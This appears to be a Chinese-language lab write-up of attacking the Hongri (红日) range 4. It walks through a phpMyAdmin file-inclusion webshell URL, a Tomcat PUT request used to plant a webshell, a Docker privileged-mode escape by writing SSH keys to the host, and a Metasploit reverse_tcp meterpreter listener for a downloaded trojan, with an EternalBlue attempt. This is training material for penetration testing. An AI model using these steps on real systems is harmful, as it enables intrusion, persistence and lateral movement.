红日靶场攻克笔记四
有一段时间没继续搞红日靶场了,鉴于红日三的环境搭建试好复现了几次都不成功,所以这里直接打四了
靶场拓扑图
Ubuntu:
docker环境下
[http://192.168.100.63:2001/](http://192.168.100.63:2001/) Struts2
[http://192.168.100.63:2002/](http://192.168.100.63:2002/) Tomcat
[http://192.168.100.63:2003/](http://192.168.100.63:2003/) phpMyAdmin
DC:
192.168.183.130
win7:
192.168.183.129
信息收集
可以看到web机器开放了四个端口,除ssh外的三个端口验证可知开放三个不同的服务
strusts漏洞
使用strusts工具扫描漏洞: 选择一个存在的漏洞版本进行执行whoami发现是root权限,这里先不进行下一步操作,因为在docker的逃逸不在这个环境完成
phpMyAdmin
测试直接写入一句话木马,发现没有权限 查看日志开启情况 尝试开启日志,但发现依然没有权限 查看版本是4.8.1,百度对应版本漏洞,找到CVE-2018-12613的远程包含漏洞 测试访问/etc/passwd成功,说明存在该漏洞 在sql查询处写入一句话,cookie处找到对应文件 这里可以用蚁剑之类的webshell管理工具进行连接,一句话路径如下: [http://192.168.100.63:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_38a39d1e0186644977b941b4e36f2437](http://192.168.100.63:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_38a39d1e0186644977b941b4e36f2437)
Tomcat
打开网页发现版本是8.5.19 这个版本存在任意文件写入漏洞 抓包,将页面改为PUT传入冰蝎马 漏洞payload: PUT / HTTP/1.1
Host: xxx.xxx.xx.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
成功连接冰蝎 上线后执行指令,发现是docker环境
docker逃逸
利用–privileged特权模式逃逸 原理: 使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,并通过写入ssh公钥的方式进行逃逸 首先新建一个/test目录用于挂在主机文件 mkdir /test ls /dev查看设备 mount /dev/sda1 /test
将sda1挂在到/test目录里 kali本地生成密钥 可以看到当前本地生成了一个test和一个test.pub文件 我们将这个pub公钥上传到服务器靶机对应位置就能通过本地的test私钥进行登录 进入靶机主机磁盘的.ssh目录下看到有两个文件,这里的id_rsa.pub是有读写权限的 我们复制一份id_rsa.pub(包括权限一起复制)并重命名为authorized_keys 然后把kali中生成的公钥内容覆盖写入到authorized_keys文件中 cat验证一下,确认成功写入,权限也没有问题 理论上来说这里就可以通过kali本地的私钥来进行登陆了 但我试了很多次都是以上这种情况,没办法只能用ubuntu/ubuntu直接ssh登陆了 这个docker逃逸逃不了一点
内网横向
ipaddr找到内网网段192.168.183.0/24 本地生成一个linux木马 使用python开启一个web服务用来下载 python -m SimpleHTTPServer 80 靶机下载木马 在msf开启监听 use exploit/multi/handler #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.100.246
set lport 4444
run
在靶机执行木马文件上线 添加一条到183网段的路由,使用proxychains进行代理 探测一下存活主机 发现129和130两台主机,130是DNS主机,基本判定是域控 nmap探测到DC机和win7主机开放了SMB服务 445端口开着,msf试一下永恒之蓝上线 尝试多次后发现攻击能成功但bind连接连不上,尝试了很多次也没能找到原因,这个靶场四就暂时告一段落了,实在被各种意外折磨的有点上头,重点学习内网渗透的思路,暂时放弃追究原因,后续再遇到类似情况再去解决。